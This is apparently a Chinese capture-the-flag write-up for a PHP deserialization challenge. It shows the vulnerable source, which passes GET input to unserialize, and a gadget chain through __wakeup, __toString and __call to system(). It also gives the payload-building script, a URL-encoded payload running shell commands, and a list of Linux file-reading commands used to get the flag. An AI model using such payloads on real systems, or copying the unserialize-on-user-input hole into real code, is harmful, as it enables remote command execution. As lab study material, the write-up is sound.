cs反序列化4
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $peguin;
public $source;
public function __construct($file){
$this->source = $file;
echo 'welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->peguin->close();
}
public function __wakeup(){
if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
echo "hacker!";
$this->source = "index.php";
}
}
}
class good{
public $joker;
public function __call($name,$param){
system($this->joker);
}
}
$a = $_GET['cmd'];
unserialize($a);
?>
__call():当调用类中不存在的方法时,就会调用__call();
__wakeup():unserialize时会调用
__toString():当把一个类当作字符串处理时调用
__construct():new一个类时调用
流程
- 反序列化$a,调用
__wakeup()
- 令
source
=new test
类,调用__toString()
__toString()
会使用也给不存在的方法,于是调用__call()
- 令
$joker
为我们要执行的命令
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $peguin;
public $source;
}
class good{
public $joker="ls ../../../../..";
}
$a=new test();
$a->source=new test();
$a->source->peguin=new good();
echo urlencode(serialize($a));
run:O%3A4%3A%22test%22%3A2%3A%7Bs%3A6%3A%22peguin%22%3BN%3Bs%3A6%3A%22source%22%3BO%3A4%3A%22test%22%3A2%3A%7Bs%3A6%3A%22peguin%22%3BO%3A4%3A%22good%22%3A1%3A%7Bs%3A5%3A%22joker%22%3Bs%3A17%3A%22ls+..%2F..%2F..%2F..%2F..%22%3B%7Ds%3A6%3A%22source%22%3BN%3B%7D%7D
怎么没有flag
$joker="ls"
$joker="cat flag.php"
出了个寂寞,为什么
原来在源代码里面
Linux读取文件的一些命令
cat 从第一行开始,显示文件的所有内容
tac 从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head 只显示前几行
tail 只显示后几行
nl 类似于cat -n,显示时输出行号
这道题如果用cat就不能在页面上显示,用tac的话就可以